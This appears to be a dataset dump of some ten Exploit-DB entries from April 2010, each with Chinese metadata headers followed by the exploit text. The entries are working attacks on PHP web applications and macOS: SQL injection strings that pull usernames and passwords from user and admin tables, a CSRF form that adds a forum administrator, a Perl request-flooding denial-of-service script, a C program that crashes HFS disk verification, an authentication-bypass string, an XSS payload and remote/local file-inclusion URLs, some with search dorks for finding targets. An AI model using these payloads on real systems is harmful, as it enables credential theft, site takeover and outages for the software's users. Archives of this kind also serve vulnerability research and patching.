QLWD/code_shield huggingface dataset:
标题: PostNuke 0.764 Module modload - SQL Injection EDB-ID: 12410 CVE: 2010-1713 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: PostNuke 0.764 Module modload SQL Injection Vulnerability

###########################  
      
Author    : BILGE_KAGAN
   
Homepage  : http://www.1923turk.com   
      
Script    : postnuke http://www.postnuke.com 
  
Download  : http://www.postnuke.com/module-Content-view-pid-2.html  
      
###########################    
        
[ Vulnerable File ]
  
    
modules.php?op=modload&name=News&file=article&sid=[ SQL ]  
         
    
[ XpL ] 
 
      
1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users-- 
  
[ Demo] 
 
  
http://[site]/modules.php?op=modload&name=News&file=article&sid=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(pn_uname,0x3a,pn_pass),16,17,18,19,20,21+from+nuke_users-- URL: https://www.exploit-db.com/exploits/12410
标题: TR Forum 1.5 - Cross-Site Request Forgery (Add Admin) EDB-ID: 12385 CVE: 2006-4584 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-25 漏洞利用脚本: ========================================================================================                  
| # Title    : TR Forum 1.5 insert admin CSRF Vulnerability           
| # Author   : EL-KAHINA                                                               
| # email    : No-Mail                                                  
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : CSRF                                                                     
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 insert admin CSRF :
 
 <html>
<head>
<form name="poster" method="post" action="http://127.0.0.1/forum/admin/insert_admin.php">
  <table class="header" border="0" align="center" width="500">
    <tr>
      <td align="center"><font class="titre">Ajouter un modérateur</font></td>
    </tr>
  </table>
  <br>
     <CENTER><EMBED align=left 
src=http://h1.ripway.com/ma3karouna/1.mp3
  <table class="right" width="500" border="0" align="center" >
<tr>
  <td class="text">login</td>
  <td><input type="text" name="login"></td>
</tr>
<tr>
  <td class="text">password</td>
  <td><input type="password" name="password"></td>
</tr>
<tr>
  <td class="text">email</td>
  <td><input type="text" name="mail"></td>
</tr>
<tr>
<td colspan="2" align="right"><input class="button" type="submit" value="valider"></td>
</tr>
</table>
<br>
</form>
</body>
</html>
 
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------ URL: https://www.exploit-db.com/exploits/12385
标题: Invision Power Board - Denial of Service EDB-ID: 12382 CVE: 2006-0888 类型: DOS 平台: MULTIPLE 发布日期: 2010-04-25 漏洞利用脚本: ==============================================
Invision power board 0-day denial of service 2 
==============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm SeeMe member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


# Invision power board 0-day denial of service 2 100% works..
#
# It works on all versions! can DOS the whole server!
#
# Greetz to Inj3ct0r Crew
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="seeme".$rand.$i;
$data = "adsess=&"
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
################################################## ##############
# Greetz to Inj3ct0r Crew URL: https://www.exploit-db.com/exploits/12382
标题: Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service) EDB-ID: 12375 CVE: 2010-0105 类型: DOS 平台: OSX 发布日期: 2010-04-24 漏洞利用脚本: // -----BEGIN PGP SIGNED MESSAGE-----
// Hash: SHA1
/*  Proof of Concept for CVE-2010-0105
 MacOS X 10.6 hfs file system attack (Denial of Service)
 by Maksymilian Arciemowicz from SecurityReason.com

 http://securityreason.com/achievement_exploitalert/15
 
 NOTE:
 
 This DoS will be localized in phase
 
 Checking multi-linked directories

 So we need activate it with line
 
  connlink("C/C","CX");

 Now we need create PATH_MAX/2 directory tree to make overflow.

 and we should get diskutil and fsck_hfs exit with sig=8
 
 ~ x$ diskutil verifyVolume /Volumes/max2
 Started filesystem verification on disk0s3 max2
 Performing live verification
 Checking Journaled HFS Plus volume
 Checking extents overflow file
 Checking catalog file
 Checking multi-linked files
 Checking catalog hierarchy
 Checking extended attributes file
 Checking multi-linked directories
 Maximum nesting of folders and directory hard links reached
 The volume max2 could not be verified completely
 Error: -9957: Filesystem verify or repair failed
 Underlying error: 8: POSIX reports: Exec format error
 
  
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>


int createdir(char *name){
 if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
  printf("Can`t create %s", name);
  exit(1);}
  else
  return 0; 
}

int comein(char *name){
 if(0!=chdir(name)){
  printf("Can`t chdir in to %s", name);
  exit(1);}
  else
  return 0; 
}

int connlink(a,b)
char *a,*b;
{
 if(0!=link(a,b)){
  printf("Can`t create link %s => %s",a,b);
  exit(1);}
  else
  return 0; 
}

int main(int argc,char *argv[]){
 
  int level;
 FILE *fp;
 
 if(argc==2) {
  level=atoi(argv[1]);
 }else{
  level=512; //default
 }
 createdir("C"); //create hardlink
 createdir("C/C"); //create hardlink
 
 connlink("C/C","CX"); //we need use to checking multi-linked directorie

 comein("C");
 
 while(level--)
   printf("Level: %i mkdir:%i chdir:%i\n",level,
   createdir("C"),
   comein("C"));  
 
 
 printf("check diskutil verifyVolume /\n");
 return 0;
}
/*
- -- 
Best Regards,
- ------------------------
pub   1024D/A6986BD6 2008-08-22
uid                  Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub   4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkvTTQsACgkQpiCeOKaYa9bHwACfSRqy8xJbJBGFvLbLIjabxMkI
to4AoMMetii9Gc7EyOK7/3+QP4ynP5kY
=IML/
-----END PGP SIGNATURE-----
*/ URL: https://www.exploit-db.com/exploits/12375
标题: NCT Jobs Portal Script - Cross-Site Scripting / Authentication Bypass EDB-ID: 12370 CVE: 2010-1606 2010-1604 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: # Exploit Title: XSS and Authentication bypass in NCT Jobs Portal Script
# Date: 24-apr-2010
# Author: Sid3^effects
# Software Link: N/a
# CVE : []
# Code : []      ______________________________________________________________________________
                    XSS and Authentication bypass in NCT Jobs Portal Script
                         Vendor:http://www.ncrypted.net/
     ___________________________Author:Sid3^effects_________________________________
  

Description :

NCT Jobs Portal script is a web product for running powerful and customized job portals. Be it a fresh site that you want to launch or be it for integration into your already existing website, NCT Jobs Portal is everything you need when it comes to job portal or business networking solution. Jobs Portal comes with a front-end and a back-end (Admin Panel). Admin Panel has a wide range of functions along with a CMS (Content Management System) which will easily enpower you to customize and manage your very own Jobs Portal.

script cost :$99 
---------------------------------------------------------------------------
 * Authentication bypass:

 The following script has authentication bypass in the admin login 

 use ' or 1=1 or ''=' in both login and password.

---------------------------------------------------------------------------
 * XSS (cross site scripting ) :
       
 XSS is also found in the search field. 

 Parameter Name: Keywords or Tags or Desired City
 Parameter Type: Querystring 
 Attack Pattern: '"--><script>alert(0x000872)</script>        
---------------------------------------------------------------------------

ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j-- URL: https://www.exploit-db.com/exploits/12370
标题: Alstrasoft AskMe Pro 2.1 - 'que_id' SQL Injection EDB-ID: 12372 CVE: 2007-4085 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
         AskMe Pro 2.1 (que_id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 24-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AlstraSoft AskMe Pro
Vendor   : http://www.alstrasoft.com/
Price  : $99.99 USD
Google Dork : allinurl:forum_answer.php?que_id=
Overview :

AskMe Pro is an expert knowledge management system that allows site owners to 
setup an expert advice service similar to highly popular sites like Google Answers,
Yahoo Answers and Kasamba.com
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,2,3,4,group_concat(username,char(58),password)v3n0m,6,7,8,9,10+from+expert--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/forum_answer.php?que_id=[SQLi]

----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (banting setir dari tukang martabak jd distributor chiki,stress sampe cukur rambut,jembut cukur ur)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12372
标题: Openfoncier 2.00 - Local File Inclusion / Remote File Inclusion EDB-ID: 12366 CVE: 2010-1948 2010-1945 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: ==============================================================
Openfoncier 2.00 (RFI/LFI) Multiple File Include Vulnerability
==============================================================

[+] Openfoncier 2.00 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4567/openmairie_foncier_2.00.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/obj/action.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/architecte.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/avis.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/bible.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/blocnote.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-24] URL: https://www.exploit-db.com/exploits/12366
标题: Openplanning 1.00 - Local File Inclusion / Remote File Inclusion EDB-ID: 12365 CVE: 2010-1934 2010-1928 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: ===============================================================
Openplanning 1.00 (RFI/LFI) Multiple File Include Vulnerability
===============================================================

[+] Openplanning 1.00 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4872/openmairie_planning_1.00.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id
[+] Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/gen/obj/categorie.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/profil.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/collectivite.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/ressource.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/droit.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/utilisateur.class.php?path_om=[Shell]
http://shell4u.tk/[path]/gen/obj/planning.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-24] URL: https://www.exploit-db.com/exploits/12365
标题: WHMCompleteSolution (WHMCS) control (WHMCompleteSolution) - SQL Injection EDB-ID: 12371 CVE: 2010-1702 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: #=Info=======================================================================#
# Software: WHMCS control (WHMCompleteSolution)  Sql Injection                                                #
#                                                                                                                                       #
# Vulnerability: Remote Sql Injection                                                                                         #
# Google Dork: Powered by WHMCompleteSolution - or "  inurl:WHMCS                                            #
# Off. site: www.MiXaTy.com                                                                                                  #
#============================================================================#


#=Author==============================================#
# Author: Islam DefenDers                                                            #  
# Date: 24.04.2010                                                                     #
# Contact:  email: hackereg@hotmail.com                                       #
#====================================================#

#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20                                      
# DOWNLOAD : http://www.whmcs.com/                                                                                                                                     
# Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20                 
#=========================================================================================================================================================================#


#=Greetz==================================#
#  IsLam DefenDers Mr.HaMaDa                               #
#=======================================#

HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM

site: www.mixaty.com

E: hackereg@hotmail.com URL: https://www.exploit-db.com/exploits/12371
标题: Openpresse 1.01 - Local File Inclusion EDB-ID: 12364 CVE: 2010-1935 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-24 漏洞利用脚本: ================================================
Openpresse 1.01 Local File Include Vulnerability
================================================



[+] Openpresse 1.01 Local File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC: http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]
# Inj3ct0r.com [2010-04-24] URL: https://www.exploit-db.com/exploits/12364